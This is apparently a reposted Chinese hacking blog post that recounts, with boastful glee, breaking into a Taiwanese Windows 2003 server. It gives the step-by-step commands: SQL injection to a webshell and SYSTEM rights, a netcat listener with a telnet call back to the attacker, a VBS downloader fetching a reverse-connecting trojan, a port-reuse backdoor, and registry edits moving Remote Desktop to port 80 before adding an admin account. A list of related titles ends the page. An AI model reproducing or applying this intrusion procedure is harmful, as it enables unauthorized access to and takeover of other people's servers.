强暴藏在防火墙后面的机子
来源:互联网 发布:2016网络流行语有哪些 编辑:程序博客网 时间:2024/05/16 18:16
事情是这样的:
遭遇一台湾的dns服务器,win2003 server
扫描器报告的开放端口:21,53,80
ok,弄到一个sa权限的注射点,很爽得拿到一个webshell,透过sqlrootkit,俺就是system权限了.本以为对方菜到家了.谁知故事才刚刚开始.
ipconfig /all
不是内网机子,只有一个外网ip.ok
net start
terminal service开放
netstat -na
3389端口在的
保险期间:reg query "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp" /v PortNumber
端口确实是3389
因为前面通过查看服务看到系统防火墙服务开启了,所以顺便
reg query "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server" /v fDenyTSConnections
查下是否防火墙屏蔽端口,结果是没有.
接着本地 nc -v -l -p 99
对方:telnet myip 99
等了一会没反应
嗯?连不到我? ping www.163.com 正常返回值
ping myip 由于我开着系统自带的防火墙,就用sniffer监听下数据,结果是对方能ping到我.怎么回事呢?
写了个vbs下载脚本上去,下载了个反弹的马试试,结果不上线(意料中)马是绝对安装成功的.安装端口复用的后门,成功安装,可依然连不上去
由于不能telnet 我本机监听的端口,端口转发行不通
难道是tcp/ip筛选?
regedit -e 导出了关于tcp/ip的几个位置,查看了下,值都是0,也就是没有配置
IPSEC? 再次导出ip安全策略,下回本地,导入看了下,也是默认没有任何特殊配置
软防?有可能.于是我tasklist 查看了进程,taskkill掉所有可疑的.(事实上我确实不能找到有软防存在的迹象) 翻遍了整个目录都没有踪迹.
最后的可能 硬防! 怎么突破呢? 我无法对硬防进行操作,只能在已经开放的端口上做文章了.
于是 sc config msftpsvc start= disabled 把ftp服务禁用 导出终端服务关于端口配置的两处
regedit -e C:/1.reg "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp"
regedit -e C:/2.reg "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp"
修改为21的16进制值 15 ,regedit -s c:/1.reg 这样导入两个改过的注册表文件,这样终端端口就变成21了.
shutdown -f -t 3 -r 3秒后强制重启服务器.
很快重启完成,netstat -na 3389没有了,21有.兴奋ing,谁知道,本地连接居然还是连不上去.想不明白
继续,配置个radmin,连接端口为21,先sc 禁用终端服务,重启后,安装radmin.结果是没有安装成功.
奇怪的是,我在radmin连接器里新建连接,端口指向21的时候显示21端口是open的,而通过sqlrootkit执行netstat -na 却看不到21端口存在.问题终于清楚了.
看来唯一能下手的只有 80了
ok,修改终端服务端口为80,sc禁用 iisadmin/w3svc/httpfilter 添加管理用户重启服务器
1分钟不到,终于登上了可爱的终端.
进去的方式真可谓强暴了.
- 强暴藏在防火墙后面的机子
- 入侵藏在防火墙后面的机子
- CTF-隐写之藏在女神的后面
- 让Flash藏在Div后面
- 强暴背后的故事
- 藏在心中的梦想
- 藏在低落的影子里
- 藏在代码里的“ILoveYou”
- 快乐藏在自己的内心
- 藏在你身边的降压药.......
- 如何通过公网来访问防火墙后面的Oracle
- 男生被女生强暴的全过程[图]
- 关于Spring控制反转的“强暴”解释
- 箭在弦上里的徐二航被强暴了
- 春风吹拂过柳梢,仿佛在梳着柳树的头发。春风吹过小草,小草跳起舞来,他们的舞姿多么优美啊! 看,春天来了,小动物们也高兴起来,快看,小喜鹊和大树在捉迷藏呢,她一会儿藏在白杨后面,一会儿藏在桦树后面;小蝴
- 多普达515的机子。
- 藏在Google OS背后的野心
- 藏在鞋子里的婚姻观,幸福都是一步步走过来的
- 初来乍到
- 发现自己还是没什么定力!
- 中国印度正逐渐丧失低成本优势
- 渗透日本服务器群
- 子网,网络和互联网的区别
- 强暴藏在防火墙后面的机子
- 对台湾视频站点的再次渗透尝试
- 获取cuteftp中的ssh密码
- 拒绝 IE 的网站
- 安徽高考少输入的6个字节猜想
- ORACLE函数
- 永不言败
- Visual Studio.NET 2005使用心得一命名空间的简化导入
- 一个程序员的成长的六个阶段(转帖)